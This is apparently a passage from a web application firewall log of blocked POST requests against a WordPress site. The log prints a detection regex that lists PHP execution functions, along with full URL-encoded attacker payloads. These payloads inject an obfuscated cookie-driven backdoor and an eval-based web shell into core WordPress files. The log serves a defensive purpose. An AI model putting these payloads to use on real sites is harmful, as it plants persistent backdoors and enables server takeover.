2.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 21:52:53","150.241.245.183","POST","\/wp-admin\/network\/plugins.php","Mozilla\/5.0 (Linux; Android 12; Pixel 6) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.58 Mobile Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> Ew:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/template-canvas.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B15%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D10%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B15%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B15%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B15%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B10%252B1%253B%257D%2524k%253D%2524p%255B9%255D%2528%2529.%2524p%255B29%255D%253Bif%2528%2521%2524p%255B25%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B22%255D%2528%2524k%252C%2524p%255B21%255D%2529%253B%2524p%255B5%255D%2528%2524n%252C%2524p%255B4%255D.%2524p%255B7%255D%2528%2524p%255B20%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/network\/plugins.php HTTP\/1.1\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\ncookie:4=730da3e67a08a749df0620450f4abf2e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvEKpvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzEvZy9wo252MKW0VwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"99\", \"Google Chrome\";v=\"99\"\nuser-agent:Mozilla\/5.0 (Linux; Android 12; Pixel 6) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.58 Mobile Safari\/537.36\nsec-ch-ua-mobile:?1\nsec-ch-ua-platform:\"Android\"\ncontent-type:application\/x-www-form-urlencoded\ncontent-length:3241\nsec-fetch-site:none\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\n\nEw=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/template-canvas.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B15%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D10%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B15%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B15%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B15%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B10%252B1%253B%257D%2524k%253D%2524p%255B9%255D%2528%2529.%2524p%255B29%255D%253Bif%2528%2521%2524p%255B25%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B22%255D%2528%2524k%252C%2524p%255B21%255D%2529%253B%2524p%255B5%255D%2528%2524n%252C%2524p%255B4%255D.%2524p%255B7%255D%2528%2524p%255B20%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 21:52:59","190.0.230.22","POST","\/wp-includes\/block-patterns\/query-large-title-posts.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/100.0.4896.75 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> IMAhJp:eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/template-canvas.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B15%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D10%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B15%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B15%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B15%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B10%252B1%253B%257D%2524k%253D%2524p%255B9%255D%2528%2529.%2524p%255B29%255D%253Bif%2528%2521%2524p%255B25%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B22%255D%2528%2524k%252C%2524p%255B21%255D%2529%253B%2524p%255B5%255D%2528%2524n%252C%2524p%255B4%255D.%2524p%255B7%255D%2528%2524p%255B20%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));","POST \/wp-includes\/block-patterns\/query-large-title-posts.php HTTP\/1.1\nsec-fetch-mode:navigate\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-user:?1\ncontent-length:3264\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"100\", \"Google Chrome\";v=\"100\"\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/100.0.4896.75 Safari\/537.36\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-ch-ua-platform:\"Windows\"\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-fetch-site:none\nsec-ch-ua-mobile:?0\n\nIMAhJp=eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/template-canvas.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B15%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D10%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B15%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B15%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B15%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B10%252B1%253B%257D%2524k%253D%2524p%255B9%255D%2528%2529.%2524p%255B29%255D%253Bif%2528%2521%2524p%255B25%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B22%255D%2528%2524k%252C%2524p%255B21%255D%2529%253B%2524p%255B5%255D%2528%2524n%252C%2524p%255B4%255D.%2524p%255B7%255D%2528%2524p%255B20%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));"]
["2026-05-12 21:53:07","103.143.207.18","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> bA:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/Requests\/src\/Transport\/Fsockopen.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527ADTYav%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\ncookie:4=ce288246c7d2df0454c666077eb603cf; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvLxRvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaOupzkyK3Ein2IhplV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"99\", \"Google Chrome\";v=\"99\"\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\ncontent-type:application\/x-www-form-urlencoded\ncontent-length:2057\nsec-fetch-site:none\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\n\nbA=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/Requests\/src\/Transport\/Fsockopen.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527ADTYav%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 21:53:14","141.98.11.117","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> Kn:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/Requests\/src\/Transport\/Fsockopen.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527ADTYav%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\ncookie:4=9502d8dfeef0bdc4da77dd3a93ec6aec; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvF24vKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzyvLKAyK3Owo25hMJA0nJ9hVwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\nsec-ch-ua:\"Chromium\";v=\"110\", \"Not A(Brand\";v=\"24\", \"Google Chrome\";v=\"110\"\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\ncontent-type:application\/x-www-form-urlencoded\ncontent-length:2057\nsec-fetch-site:none\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\n\nKn=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/Requests\/src\/Transport\/Fsockopen.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527ADTYav%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 21:53:25","46.62.254.35","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/100.0.4896.75 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> LK:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/Requests\/src\/Transport\/Fsockopen.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527ADTYav%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\ncookie:4=1af844051764377410b827578daae50e; 